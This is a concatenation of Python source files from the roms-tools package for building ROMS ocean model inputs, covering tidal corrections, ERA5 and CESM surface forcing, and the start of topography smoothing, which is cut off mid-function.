Extract grid data grid_yaml_data = {"Grid": grid_data} # Extract tidal forcing data tidal_forcing_data = { "TidalForcing": { "source": self.source, "ntides": self.ntides, "model_reference_date": self.model_reference_date.isoformat(), "allan_factor": self.allan_factor, } } # Combine both sections yaml_data = {**grid_yaml_data, **tidal_forcing_data} with filepath.open("w") as file: # Write header file.write(header) # Write YAML data yaml.dump(yaml_data, file, default_flow_style=False) @classmethod def from_yaml( cls, filepath: Union[str, Path], use_dask: bool = False ) -> "TidalForcing": """Create an instance of the TidalForcing class from a YAML file. Parameters ---------- filepath : Union[str, Path] The path to the YAML file from which the parameters will be read. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Returns ------- TidalForcing An instance of the TidalForcing class. """ filepath = Path(filepath) # Read the entire file content with filepath.open("r") as file: file_content = file.read() # Split the content into YAML documents documents = list(yaml.safe_load_all(file_content)) tidal_forcing_data = None # Process the YAML documents for doc in documents: if doc is None: continue if "TidalForcing" in doc: tidal_forcing_data = doc["TidalForcing"] break if tidal_forcing_data is None: raise ValueError("No TidalForcing configuration found in the YAML file.") # Convert the model_reference_date from string to datetime tidal_forcing_params = tidal_forcing_data tidal_forcing_params["model_reference_date"] = datetime.fromisoformat( tidal_forcing_params["model_reference_date"] ) # Create Grid instance from the YAML file grid = Grid.from_yaml(filepath) # Create and return an instance of TidalForcing return cls(grid=grid, **tidal_forcing_params, use_dask=use_dask) def _correct_tides(self, data): """Apply tidal corrections to the dataset. This method corrects the dataset for equilibrium tides, self-attraction and loading (SAL) effects, and adjusts phases and amplitudes of tidal elevations and transports using Egbert's correction. Parameters ---------- data : Dataset The dataset containing tidal data, including variables for sea surface height (ssh), zonal and meridional currents (u, v), and self-attraction and loading corrections (sal). Returns ------- None The dataset is modified in-place with corrected real and imaginary components for ssh, u, v, and the potential field ('pot_Re', 'pot_Im'). """ # Get equilibrium tides tpc = compute_equilibrium_tide( data.ds[data.dim_names["longitude"]], data.ds[data.dim_names["latitude"]] ) tpc = tpc.isel(ntides=data.ds["ntides"]) # Correct for SAL tsc = self.allan_factor * ( data.ds[data.var_names["sal_Re"]] + 1j * data.ds[data.var_names["sal_Im"]] ) tpc = tpc - tsc # Elevations and transports thc = data.ds[data.var_names["ssh_Re"]] + 1j * data.ds[data.var_names["ssh_Im"]] tuc = data.ds[data.var_names["u_Re"]] + 1j * data.ds[data.var_names["u_Im"]] tvc = data.ds[data.var_names["v_Re"]] + 1j * data.ds[data.var_names["v_Im"]] # Apply correction for phases and amplitudes pf, pu, aa = egbert_correction(self.model_reference_date) pf = pf.isel(ntides=data.ds["ntides"]) pu = pu.isel(ntides=data.ds["ntides"]) aa = aa.isel(ntides=data.ds["ntides"]) dt = (self.model_reference_date - data.reference_date).days * 3600 * 24 thc = pf * thc * np.exp(1j * (data.ds["omega"] * dt + pu + aa)) tuc = pf * tuc * np.exp(1j * (data.ds["omega"] * dt + pu + aa)) tvc = pf * tvc * np.exp(1j * (data.ds["omega"] * dt + pu + aa)) tpc = pf * tpc * np.exp(1j * (data.ds["omega"] * dt + pu + aa)) data.ds[data.var_names["ssh_Re"]] = thc.real data.ds[data.var_names["ssh_Im"]] = thc.imag data.ds[data.var_names["u_Re"]] = tuc.real data.ds[data.var_names["u_Im"]] = tuc.imag data.ds[data.var_names["v_Re"]] = tvc.real data.ds[data.var_names["v_Im"]] = tvc.imag data.ds["pot_Re"] = tpc.real data.ds["pot_Im"] = tpc.imag # Update var_names dictionary var_names = {**data.var_names, "pot_Re": "pot_Re", "pot_Im": "pot_Im"} var_names.pop("sal_Re", None) # Remove "sal_Re" if it exists var_names.pop("sal_Im", None) # Remove "sal_Im" if it exists object.__setattr__(data, "var_names", var_names) def modified_julian_days(year, month, day, hour=0): """Calculate the Modified Julian Day (MJD) for a given date and time. The Modified Julian Day (MJD) is a modified Julian day count starting from November 17, 1858 AD. It is commonly used in astronomy and geodesy. Parameters ---------- year : int The year. month : int The month (1-12). day : int The day of the month. hour : float, optional The hour of the day as a fractional number (0 to 23.999...). Default is 0. Returns ------- mjd : float The Modified Julian Day (MJD) corresponding to the input date and time. Notes ----- The algorithm assumes that the input date (year, month, day) is within the Gregorian calendar, i.e., after October 15, 1582. Negative MJD values are allowed for dates before November 17, 1858. References ---------- - Wikipedia article on Julian Day: https://en.wikipedia.org/wiki/Julian_day - Wikipedia article on Modified Julian Day: https://en.wikipedia.org/wiki/Modified_Julian_day Examples -------- >>> modified_julian_days(2024, 5, 20, 12) 58814.0 >>> modified_julian_days(1858, 11, 17) 0.0 >>> modified_julian_days(1582, 10, 4) -141428.5 """ if month < 3: year -= 1 month += 12 A = year // 100 B = A // 4 C = 2 - A + B E = int(365.25 * (year + 4716)) F = int(30.6001 * (month + 1)) jd = C + day + hour / 24 + E + F - 1524.5 mjd = jd - 2400000.5 return mjd def egbert_correction(date): """Correct phases and amplitudes for real-time runs using parts of the post- processing code from Egbert's & Erofeeva's (OSU) TPXO model. Parameters ---------- date : datetime.datetime The date and time for which corrections are to be applied. Returns ------- pf : xr.DataArray Amplitude scaling factor for each of the 15 tidal constituents. pu : xr.DataArray Phase correction [radians] for each of the 15 tidal constituents. aa : xr.DataArray Astronomical arguments [radians] associated with the corrections. References ---------- - Egbert, G.D., and S.Y. Erofeeva. "Efficient inverse modeling of barotropic ocean tides." Journal of Atmospheric and Oceanic Technology 19, no. 2 (2002): 183-204. """ year = date.year month = date.month day = date.day hour = date.hour minute = date.minute second = date.second rad = np.pi / 180.0 deg = 180.0 / np.pi mjd = modified_julian_days(year, month, day) tstart = mjd + hour / 24 + minute / (60 * 24) + second / (60 * 60 * 24) # Determine nodal corrections pu & pf : these expressions are valid for period 1990-2010 (Cartwright 1990). # Reset time origin for astronomical arguments to 4th of May 1860: timetemp = tstart - 51544.4993 # mean longitude of lunar perigee P = 83.3535 + 0.11140353 * timetemp P = np.mod(P, 360.0) if P < 0: P = +360 P *= rad # mean longitude of ascending lunar node N = 125.0445 - 0.05295377 * timetemp N = np.mod(N, 360.0) if N < 0: N = +360 N *= rad sinn = np.sin(N) cosn = np.cos(N) sin2n = np.sin(2 * N) cos2n = np.cos(2 * N) sin3n = np.sin(3 * N) pftmp = np.sqrt( (1 - 0.03731 * cosn + 0.00052 * cos2n) ** 2 + (0.03731 * sinn - 0.00052 * sin2n) ** 2 ) # 2N2 pf = np.zeros(15) pf[0] = pftmp # M2 pf[1] = 1.0 # S2 pf[2] = pftmp # N2 pf[3] = np.sqrt( (1 + 0.2852 * cosn + 0.0324 * cos2n) ** 2 + (0.3108 * sinn + 0.0324 * sin2n) ** 2 ) # K2 pf[4] = np.sqrt( (1 + 0.1158 * cosn - 0.0029 * cos2n) ** 2 + (0.1554 * sinn - 0.0029 * sin2n) ** 2 ) # K1 pf[5] = np.sqrt( (1 + 0.189 * cosn - 0.0058 * cos2n) ** 2 + (0.189 * sinn - 0.0058 * sin2n) ** 2 ) # O1 pf[6] = 1.0 # P1 pf[7] = np.sqrt((1 + 0.188 * cosn) ** 2 + (0.188 * sinn) ** 2) # Q1 pf[8] = 1.043 + 0.414 * cosn # Mf pf[9] = 1.0 - 0.130 * cosn # Mm pf[10] = pftmp**2 # M4 pf[11] = pftmp**2 # Mn4 pf[12] = pftmp**2 # Ms4 pf[13] = pftmp # 2n2 pf[14] = 1.0 # S1 pf = xr.DataArray(pf, dims="ntides") putmp = ( np.arctan( (-0.03731 * sinn + 0.00052 * sin2n) / (1.0 - 0.03731 * cosn + 0.00052 * cos2n) ) * deg ) # 2N2 pu = np.zeros(15) pu[0] = putmp # M2 pu[1] = 0.0 # S2 pu[2] = putmp # N2 pu[3] = ( np.arctan( -(0.3108 * sinn + 0.0324 * sin2n) / (1.0 + 0.2852 * cosn + 0.0324 * cos2n) ) * deg ) # K2 pu[4] = ( np.arctan( (-0.1554 * sinn + 0.0029 * sin2n) / (1.0 + 0.1158 * cosn - 0.0029 * cos2n) ) * deg ) # K1 pu[5] = 10.8 * sinn - 1.3 * sin2n + 0.2 * sin3n # O1 pu[6] = 0.0 # P1 pu[7] = np.arctan(0.189 * sinn / (1.0 + 0.189 * cosn)) * deg # Q1 pu[8] = -23.7 * sinn + 2.7 * sin2n - 0.4 * sin3n # Mf pu[9] = 0.0 # Mm pu[10] = putmp * 2.0 # M4 pu[11] = putmp * 2.0 # Mn4 pu[12] = putmp # Ms4 pu[13] = putmp # 2n2 pu[14] = 0.0 # S1 pu = xr.DataArray(pu, dims="ntides") # convert from degrees to radians pu = pu * rad aa = xr.DataArray( data=np.array( [ 1.731557546, # M2 0.0, # S2 6.050721243, # N2 3.487600001, # K2 0.173003674, # K1 1.558553872, # O1 6.110181633, # P1 5.877717569, # Q1 1.964021610, # Mm 1.756042456, # Mf 3.463115091, # M4 1.499093481, # Mn4 1.731557546, # Ms4 4.086699633, # 2n2 0.0, # S1 ] ), dims="ntides", ) return pf, pu, aa def compute_equilibrium_tide(lon, lat): """Compute equilibrium tide for given longitudes and latitudes. Parameters ---------- lon : xr.DataArray Longitudes in degrees. lat : xr.DataArray Latitudes in degrees. Returns ------- tpc : xr.DataArray Equilibrium tide complex amplitude. Notes ----- This method computes the equilibrium tide complex amplitude for given longitudes and latitudes. It considers 15 tidal constituents and their corresponding amplitudes and elasticity factors. The types of tides are classified as follows: - 2: semidiurnal - 1: diurnal - 0: long-term """ # Amplitudes and elasticity factors for 15 tidal constituents A = xr.DataArray( data=np.array( [ 0.242334, # M2 0.112743, # S2 0.046397, # N2 0.030684, # K2 0.141565, # K1 0.100661, # O1 0.046848, # P1 0.019273, # Q1 0.042041, # Mf 0.022191, # Mm 0.0, # M4 0.0, # Mn4 0.0, # Ms4 0.006141, # 2n2 0.000764, # S1 ] ), dims="ntides", ) B = xr.DataArray( data=np.array( [ 0.693, # M2 0.693, # S2 0.693, # N2 0.693, # K2 0.736, # K1 0.695, # O1 0.706, # P1 0.695, # Q1 0.693, # Mf 0.693, # Mm 0.693, # M4 0.693, # Mn4 0.693, # Ms4 0.693, # 2n2 0.693, # S1 ] ), dims="ntides", ) # types: 2 = semidiurnal, 1 = diurnal, 0 = long-term ityp = xr.DataArray( data=np.array([2, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 2, 1]), dims="ntides" ) d2r = np.pi / 180 coslat2 = np.cos(d2r * lat) ** 2 sin2lat = np.sin(2 * d2r * lat) p_amp = ( xr.where(ityp == 2, 1, 0) * A * B * coslat2 # semidiurnal + xr.where(ityp == 1, 1, 0) * A * B * sin2lat # diurnal + xr.where(ityp == 0, 1, 0) * A * B * (0.5 - 1.5 * coslat2) # long-term ) p_pha = ( xr.where(ityp == 2, 1, 0) * (-2 * lon * d2r) # semidiurnal + xr.where(ityp == 1, 1, 0) * (-lon * d2r) # diurnal + xr.where(ityp == 0, 1, 0) * xr.zeros_like(lon) # long-term ) tpc = p_amp * np.exp(-1j * p_pha) return tpc
28,080
Python
.py
701
30.63766
151
0.559822
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,715
surface_forcing.py
CWorthy-ocean_roms-tools/roms_tools/setup/surface_forcing.py
import xarray as xr import pandas as pd import yaml import importlib.metadata from dataclasses import dataclass, field, asdict from roms_tools.setup.grid import Grid from datetime import datetime import numpy as np from typing import Dict, Union, List from roms_tools.setup.fill import _lateral_fill, LateralFill from roms_tools.setup.regrid import _lateral_regrid, LateralRegrid from roms_tools.setup.datasets import ( ERA5Dataset, ERA5Correction, CESMBGCSurfaceForcingDataset, ) from roms_tools.setup.utils import ( nan_check, substitute_nans_by_fillvalue, interpolate_from_climatology, get_variable_metadata, group_dataset, save_datasets, get_target_coords, rotate_velocities, ) from roms_tools.setup.plot import _plot import matplotlib.pyplot as plt from pathlib import Path @dataclass(frozen=True, kw_only=True) class SurfaceForcing: """Represents surface forcing input data for ROMS. Parameters ---------- grid : Grid Object representing the grid information. start_time : datetime Start time of the desired surface forcing data. end_time : datetime End time of the desired surface forcing data. source : Dict[str, Union[str, Path, List[Union[str, Path]]], bool] Dictionary specifying the source of the surface forcing data. Keys include: - "name" (str): Name of the data source (e.g., "ERA5"). - "path" (Union[str, Path, List[Union[str, Path]]]): The path to the raw data file(s). This can be: - A single string (with or without wildcards). - A single Path object. - A list of strings or Path objects containing multiple files. - "climatology" (bool): Indicates if the data is climatology data. Defaults to False. type : str Specifies the type of forcing data. Options are: - "physics": for physical atmospheric forcing. - "bgc": for biogeochemical forcing. correct_radiation : bool Whether to correct shortwave radiation. Default is False. use_coarse_grid: bool Whether to interpolate to coarsened grid. Default is False. model_reference_date : datetime, optional Reference date for the model. Default is January 1, 2000. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Examples -------- >>> surface_forcing = SurfaceForcing( ... grid=grid, ... start_time=datetime(2000, 1, 1), ... end_time=datetime(2000, 1, 2), ... source={"name": "ERA5", "path": "era5_data.nc"}, ... type="physics", ... correct_radiation=True, ... ) """ grid: Grid start_time: datetime end_time: datetime source: Dict[str, Union[str, Path, List[Union[str, Path]]]] type: str = "physics" correct_radiation: bool = False use_coarse_grid: bool = False model_reference_date: datetime = datetime(2000, 1, 1) use_dask: bool = False ds: xr.Dataset = field(init=False, repr=False) def __post_init__(self): self._input_checks() target_coords = get_target_coords(self.grid, self.use_coarse_grid) object.__setattr__(self, "target_coords", target_coords) data = self._get_data() data.choose_subdomain( latitude_range=[ target_coords["lat"].min().values, target_coords["lat"].max().values, ], longitude_range=[ target_coords["lon"].min().values, target_coords["lon"].max().values, ], margin=2, straddle=target_coords["straddle"], ) variable_info = self._set_variable_info(data) data_vars = {} for var_name in data.var_names: if var_name != "mask": data_vars[var_name] = data.ds[data.var_names[var_name]] data_vars = _lateral_fill(data_vars, data) # lateral regridding var_names = variable_info.keys() data_vars = _lateral_regrid( data, target_coords["lon"], target_coords["lat"], data_vars, var_names ) # rotation of velocities and interpolation to u/v points if "uwnd" in variable_info and "vwnd" in variable_info: data_vars["uwnd"], data_vars["vwnd"] = rotate_velocities( data_vars["uwnd"], data_vars["vwnd"], target_coords["angle"], interpolate=False, ) # correct radiation if self.type == "physics" and self.correct_radiation: data_vars = self._apply_correction(data_vars, data) object.__setattr__(data, "data_vars", data_vars) d_meta = get_variable_metadata() ds = self._write_into_dataset(data, d_meta) if self.use_coarse_grid: mask = self.grid.ds["mask_coarse"].rename( {"eta_coarse": "eta_rho", "xi_coarse": "xi_rho"} ) else: mask = self.grid.ds["mask_rho"] # NaN values at wet points indicate that the raw data did not cover the domain, and the following will raise a ValueError for var in ds.data_vars: nan_check(ds[var].isel(time=0), mask) # substitute NaNs over land by a fill value to avoid blow-up of ROMS for var in ds.data_vars: ds[var] = substitute_nans_by_fillvalue(ds[var]) object.__setattr__(self, "ds", ds) def _input_checks(self): # Validate the 'type' parameter if self.type not in ["physics", "bgc"]: raise ValueError("`type` must be either 'physics' or 'bgc'.") # Ensure 'source' dictionary contains required keys if "name" not in self.source: raise ValueError("`source` must include a 'name'.") if "path" not in self.source: raise ValueError("`source` must include a 'path'.") # Set 'climatology' to False if not provided in 'source' object.__setattr__( self, "source", {**self.source, "climatology": self.source.get("climatology", False)}, ) def _get_data(self): data_dict = { "filename": self.source["path"], "start_time": self.start_time, "end_time": self.end_time, "climatology": self.source["climatology"], "use_dask": self.use_dask, } if self.type == "physics": if self.source["name"] == "ERA5": data = ERA5Dataset(**data_dict) else: raise ValueError( 'Only "ERA5" is a valid option for source["name"] when type is "physics".' ) elif self.type == "bgc": if self.source["name"] == "CESM_REGRIDDED": data = CESMBGCSurfaceForcingDataset(**data_dict) else: raise ValueError( 'Only "CESM_REGRIDDED" is a valid option for source["name"] when type is "bgc".' ) return data def _get_correction_data(self): if self.source["name"] == "ERA5": correction_data = ERA5Correction(use_dask=self.use_dask) else: raise ValueError( "The 'correct_radiation' feature is currently only supported for 'ERA5' as the source. " "Please ensure your 'source' is set to 'ERA5' or implement additional handling for other sources." ) return correction_data def _set_variable_info(self, data): """Sets up a dictionary with metadata for variables based on the type of data (physics or BGC). The dictionary contains the following information: - `location`: Where the variable resides in the grid (e.g., rho, u, or v points). - `is_vector`: Whether the variable is part of a vector (True for velocity components like 'u' and 'v'). - `vector_pair`: For vector variables, this indicates the associated variable that forms the vector (e.g., 'u' and 'v'). - `is_3d`: Indicates whether the variable is 3D (True for variables like 'temp' and 'salt') or 2D (False for 'zeta'). Returns ------- dict A dictionary where the keys are variable names and the values are dictionaries of metadata about each variable, including 'location', 'is_vector', 'vector_pair', and 'is_3d'. """ default_info = { "location": "rho", "is_vector": False, "vector_pair": None, "is_3d": False, } # Define a dictionary for variable names and their associated information if self.type == "physics": variable_info = { "swrad": default_info, "lwrad": default_info, "Tair": default_info, "qair": default_info, "rain": default_info, "uwnd": { "location": "u", "is_vector": True, "vector_pair": "vwnd", "is_3d": False, }, "vwnd": { "location": "v", "is_vector": True, "vector_pair": "uwnd", "is_3d": False, }, } elif self.type == "bgc": variable_info = {} for var in data.var_names.keys(): variable_info[var] = default_info return variable_info def _apply_correction(self, data_vars, data): correction_data = self._get_correction_data() # choose same subdomain as forcing data so that we can use same mask coords_correction = { correction_data.dim_names["latitude"]: data.ds[data.dim_names["latitude"]], correction_data.dim_names["longitude"]: data.ds[ data.dim_names["longitude"] ], } correction_data.choose_subdomain( coords_correction, straddle=self.target_coords["straddle"] ) # regrid lateral_fill = LateralFill( data.ds["mask"], # use mask from ERA5 data [ correction_data.dim_names["latitude"], correction_data.dim_names["longitude"], ], ) lateral_regrid = LateralRegrid( correction_data, self.target_coords["lon"], self.target_coords["lat"] ) filled = lateral_fill.apply( correction_data.ds[correction_data.var_names["swr_corr"]] ) corr_factor = lateral_regrid.apply(filled) # temporal interpolation corr_factor = interpolate_from_climatology( corr_factor, correction_data.dim_names["time"], time=data_vars["swrad"].time, ) data_vars["swrad"] = data_vars["swrad"] * corr_factor return data_vars def _write_into_dataset(self, data, d_meta): # save in new dataset ds = xr.Dataset() for var in data.data_vars.keys(): ds[var] = data.data_vars[var].astype(np.float32) ds[var].attrs["long_name"] = d_meta[var]["long_name"] ds[var].attrs["units"] = d_meta[var]["units"] if self.use_coarse_grid: ds = ds.rename({"eta_coarse": "eta_rho", "xi_coarse": "xi_rho"}) ds = self._add_global_metadata(ds) # Convert the time coordinate to the format expected by ROMS if data.climatology: ds.attrs["climatology"] = str(True) # Preserve absolute time coordinate for readability ds = ds.assign_coords( {"abs_time": np.datetime64(self.model_reference_date) + ds["time"]} ) # Convert to pandas TimedeltaIndex timedelta_index = pd.to_timedelta(ds["time"].values) # Determine the start of the year for the base_datetime start_of_year = datetime(self.model_reference_date.year, 1, 1) # Calculate the offset from midnight of the new year offset = self.model_reference_date - start_of_year # Convert the timedelta to nanoseconds first, then to days sfc_time = xr.DataArray( (timedelta_index - offset).view("int64") / 3600 / 24 * 1e-9, dims="time", ) else: # Preserve absolute time coordinate for readability ds = ds.assign_coords({"abs_time": ds["time"]}) sfc_time = ( (ds["time"] - np.datetime64(self.model_reference_date)).astype( "float64" ) / 3600 / 24 * 1e-9 ) if self.type == "physics": time_coords = ["time"] elif self.type == "bgc": time_coords = [ "pco2_time", "iron_time", "dust_time", "nox_time", "nhy_time", ] for time_coord in time_coords: ds = ds.assign_coords({time_coord: sfc_time}) ds[time_coord].attrs[ "long_name" ] = f"days since {str(self.model_reference_date)}" ds[time_coord].encoding["units"] = "days" ds[time_coord].attrs["units"] = "days" if data.climatology: ds[time_coord].attrs["cycle_length"] = 365.25 ds.encoding["unlimited_dims"] = "time" if self.type == "bgc": ds = ds.drop_vars(["time"]) variables_to_drop = ["lat_rho", "lon_rho", "lat_coarse", "lon_coarse"] existing_vars = [var for var in variables_to_drop if var in ds] ds = ds.drop_vars(existing_vars) return ds def _add_global_metadata(self, ds=None): if ds is None: ds = xr.Dataset() ds.attrs["title"] = "ROMS surface forcing file created by ROMS-Tools" # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" ds.attrs["roms_tools_version"] = roms_tools_version ds.attrs["start_time"] = str(self.start_time) ds.attrs["end_time"] = str(self.end_time) ds.attrs["source"] = self.source["name"] ds.attrs["correct_radiation"] = str(self.correct_radiation) ds.attrs["use_coarse_grid"] = str(self.use_coarse_grid) ds.attrs["model_reference_date"] = str(self.model_reference_date) ds.attrs["type"] = self.type ds.attrs["source"] = self.source["name"] return ds def plot(self, varname, time=0) -> None: """Plot the specified surface forcing field for a given time slice. Parameters ---------- varname : str The name of the surface forcing field to plot. Options include: - "uwnd": 10 meter wind in x-direction. - "vwnd": 10 meter wind in y-direction. - "swrad": Downward short-wave (solar) radiation. - "lwrad": Downward long-wave (thermal) radiation. - "Tair": Air temperature at 2m. - "qair": Absolute humidity at 2m. - "rain": Total precipitation. - "pco2_air": Atmospheric pCO2. - "pco2_air_alt": Atmospheric pCO2, alternative CO2. - "iron": Iron decomposition. - "dust": Dust decomposition. - "nox": NOx decomposition. - "nhy": NHy decomposition. time : int, optional The time index to plot. Default is 0, which corresponds to the first time slice. Returns ------- None This method does not return any value. It generates and displays a plot. Raises ------ ValueError If the specified varname is not found in dataset. Examples -------- >>> atm_forcing.plot("uwnd", time=0) """ if varname not in self.ds: raise ValueError(f"Variable '{varname}' is not found in dataset.") field = self.ds[varname].isel(time=time).load() title = field.long_name # assign lat / lon if self.use_coarse_grid: field = field.rename({"eta_rho": "eta_coarse", "xi_rho": "xi_coarse"}) field = field.where(self.grid.ds.mask_coarse) else: field = field.where(self.grid.ds.mask_rho) field = field.assign_coords( {"lon": self.target_coords["lon"], "lat": self.target_coords["lat"]} ) # choose colorbar if varname in ["uwnd", "vwnd"]: vmax = max(field.max().values, -field.min().values) vmin = -vmax cmap = plt.colormaps.get_cmap("RdBu_r") else: vmax = field.max().values vmin = field.min().values if varname in ["swrad", "lwrad", "Tair", "qair"]: cmap = plt.colormaps.get_cmap("YlOrRd") else: cmap = plt.colormaps.get_cmap("YlGnBu") cmap.set_bad(color="gray") kwargs = {"vmax": vmax, "vmin": vmin, "cmap": cmap} _plot( self.grid.ds, field=field, straddle=self.grid.straddle, title=title, kwargs=kwargs, c="g", ) def save( self, filepath: Union[str, Path], np_eta: int = None, np_xi: int = None ) -> None: """Save the surface forcing fields to netCDF4 files. This method saves the dataset by grouping it into subsets based on the data frequency. The subsets are then written to one or more netCDF4 files. The filenames of the output files reflect the temporal coverage of the data. There are two modes of saving the dataset: 1. **Single File Mode (default)**: If both `np_eta` and `np_xi` are `None`, the entire dataset, divided by temporal subsets, is saved as a single netCDF4 file with the base filename specified by `filepath.nc`. 2. **Partitioned Mode**: - If either `np_eta` or `np_xi` is specified, the dataset is divided into spatial tiles along the eta-axis and xi-axis. - Each spatial tile is saved as a separate netCDF4 file. Parameters ---------- filepath : Union[str, Path] The base path and filename for the output files. The format of the filenames depends on whether partitioning is used and the temporal range of the data. For partitioned datasets, files will be named with an additional index, e.g., `"filepath_YYYYMM.0.nc"`, `"filepath_YYYYMM.1.nc"`, etc. np_eta : int, optional The number of partitions along the `eta` direction. If `None`, no spatial partitioning is performed. np_xi : int, optional The number of partitions along the `xi` direction. If `None`, no spatial partitioning is performed. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ # Ensure filepath is a Path object filepath = Path(filepath) # Remove ".nc" suffix if present if filepath.suffix == ".nc": filepath = filepath.with_suffix("") dataset_list, output_filenames = group_dataset(self.ds.load(), str(filepath)) saved_filenames = save_datasets( dataset_list, output_filenames, np_eta=np_eta, np_xi=np_xi ) return saved_filenames def to_yaml(self, filepath: Union[str, Path]) -> None: """Export the parameters of the class to a YAML file, including the version of roms-tools. Parameters ---------- filepath : Union[str, Path] The path to the YAML file where the parameters will be saved. """ filepath = Path(filepath) # Serialize Grid data grid_data = asdict(self.grid) grid_data.pop("ds", None) # Exclude non-serializable fields grid_data.pop("straddle", None) # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" # Create header header = f"---\nroms_tools_version: {roms_tools_version}\n---\n" # Create YAML data for Grid and optional attributes grid_yaml_data = {"Grid": grid_data} # Combine all sections surface_forcing_data = { "SurfaceForcing": { "start_time": self.start_time.isoformat(), "end_time": self.end_time.isoformat(), "source": self.source, "type": self.type, "correct_radiation": self.correct_radiation, "use_coarse_grid": self.use_coarse_grid, "model_reference_date": self.model_reference_date.isoformat(), } } # Merge YAML data while excluding empty sections yaml_data = { **grid_yaml_data, **surface_forcing_data, } with filepath.open("w") as file: # Write header file.write(header) # Write YAML data yaml.dump(yaml_data, file, default_flow_style=False) @classmethod def from_yaml( cls, filepath: Union[str, Path], use_dask: bool = False ) -> "SurfaceForcing": """Create an instance of the SurfaceForcing class from a YAML file. Parameters ---------- filepath : Union[str, Path] The path to the YAML file from which the parameters will be read. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Returns ------- SurfaceForcing An instance of the SurfaceForcing class. """ filepath = Path(filepath) # Read the entire file content with filepath.open("r") as file: file_content = file.read() # Split the content into YAML documents documents = list(yaml.safe_load_all(file_content)) surface_forcing_data = None # Process the YAML documents for doc in documents: if doc is None: continue if "SurfaceForcing" in doc: surface_forcing_data = doc["SurfaceForcing"] if surface_forcing_data is None: raise ValueError("No SurfaceForcing configuration found in the YAML file.") # Convert from string to datetime for date_string in ["model_reference_date", "start_time", "end_time"]: surface_forcing_data[date_string] = datetime.fromisoformat( surface_forcing_data[date_string] ) # Create Grid instance from the YAML file grid = Grid.from_yaml(filepath) # Create and return an instance of SurfaceForcing return cls(grid=grid, **surface_forcing_data, use_dask=use_dask)
23,467
Python
.py
539
32.730983
151
0.578204
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,716
topography.py
CWorthy-ocean_roms-tools/roms_tools/setup/topography.py
import xarray as xr import numpy as np import gcm_filters from scipy.interpolate import RegularGridInterpolator from scipy.ndimage import label from roms_tools.setup.download import fetch_topo from roms_tools.setup.utils import interpolate_from_rho_to_u, interpolate_from_rho_to_v import warnings from itertools import count def _add_topography_and_mask( ds, topography_source, hmin, smooth_factor=8.0, rmax=0.2 ) -> xr.Dataset: """Adds topography and a land/water mask to the dataset based on the provided topography source. This function performs the following operations: 1. Interpolates topography data onto the desired grid. 2. Applies a mask based on ocean depth. 3. Smooths the topography globally to reduce grid-scale instabilities. 4. Fills enclosed basins with land. 5. Smooths the topography locally to ensure the steepness ratio satisfies the rmax criterion. 6. Adds topography metadata. Parameters ---------- ds : xr.Dataset The dataset to which topography and the land/water mask will be added. topography_source : str The source of the topography data. hmin : float The minimum allowable depth for the topography. smooth_factor : float, optional The smoothing factor used in the domain-wide Gaussian smoothing of the topography. Smaller values result in less smoothing, while larger values produce more smoothing. The default is 8.0. rmax : float, optional The maximum allowable steepness ratio for the topography smoothing. This parameter controls the local smoothing of the topography. Smaller values result in smoother topography, while larger values preserve more detail. The default is 0.2. Returns ------- xr.Dataset The dataset with added topography, mask, and metadata. """ lon = ds.lon_rho.values lat = ds.lat_rho.values # interpolate topography onto desired grid hraw = _make_raw_topography(lon, lat, topography_source) hraw = xr.DataArray(data=hraw, dims=["eta_rho", "xi_rho"]) # Mask is obtained by finding locations where ocean depth is positive mask = xr.where(hraw > 0, 1.0, 0.0) # smooth topography domain-wide with Gaussian kernel to avoid grid scale instabilities hraw = _smooth_topography_globally(hraw, smooth_factor) # fill enclosed basins with land mask = _fill_enclosed_basins(mask.values) # adjust mask boundaries by copying values from adjacent cells mask = _handle_boundaries(mask) ds["mask_rho"] = xr.DataArray(mask.astype(np.int32), dims=("eta_rho", "xi_rho")) ds["mask_rho"].attrs = { "long_name": "Mask at rho-points", "units": "land/water (0/1)", } ds = _add_velocity_masks(ds) # smooth topography locally to satisfy r < rmax ds["h"] = _smooth_topography_locally(hraw * ds["mask_rho"], hmin, rmax) ds["h"].attrs = { "long_name": "Final bathymetry at rho-points", "units": "meter", } ds = _add_topography_metadata(ds, topography_source, smooth_factor, hmin, rmax) return ds def _make_raw_topography(lon, lat, topography_source) -> np.ndarray: """Given a grid of (lon, lat) points, fetch the topography file and interpolate height values onto the desired grid.""" topo_ds = fetch_topo(topography_source) # the following will depend on the topography source if topography_source == "ETOPO5": topo_lon = topo_ds["topo_lon"].copy() # Modify longitude values where necessary topo_lon = xr.where(topo_lon < 0, topo_lon + 360, topo_lon) topo_lon_minus360 = topo_lon - 360 topo_lon_plus360 = topo_lon + 360 # Concatenate along the longitude axis topo_lon_concatenated = xr.concat( [topo_lon_minus360, topo_lon, topo_lon_plus360], dim="lon" ) topo_concatenated = xr.concat( [-topo_ds["topo"], -topo_ds["topo"], -topo_ds["topo"]], dim="lon" ) interp = RegularGridInterpolator( (topo_ds["topo_lat"].values, topo_lon_concatenated.values), topo_concatenated.values, method="linear", ) # Interpolate onto desired domain grid points hraw = interp((lat, lon)) return hraw def _smooth_topography_globally(hraw, factor) -> xr.DataArray: # since GCM-Filters assumes periodic domain, we extend the domain by one grid cell in each dimension # and set that margin to land mask = xr.ones_like(hraw) margin_mask = xr.concat([mask, 0 * mask.isel(eta_rho=-1)], dim="eta_rho") margin_mask = xr.concat( [margin_mask, 0 * margin_mask.isel(xi_rho=-1)], dim="xi_rho" ) # we choose a Gaussian filter kernel corresponding to a Gaussian with standard deviation factor/sqrt(12); # this standard deviation matches the standard deviation of a boxcar kernel with total width equal to factor. filter = gcm_filters.Filter( filter_scale=factor, dx_min=1, filter_shape=gcm_filters.FilterShape.GAUSSIAN, 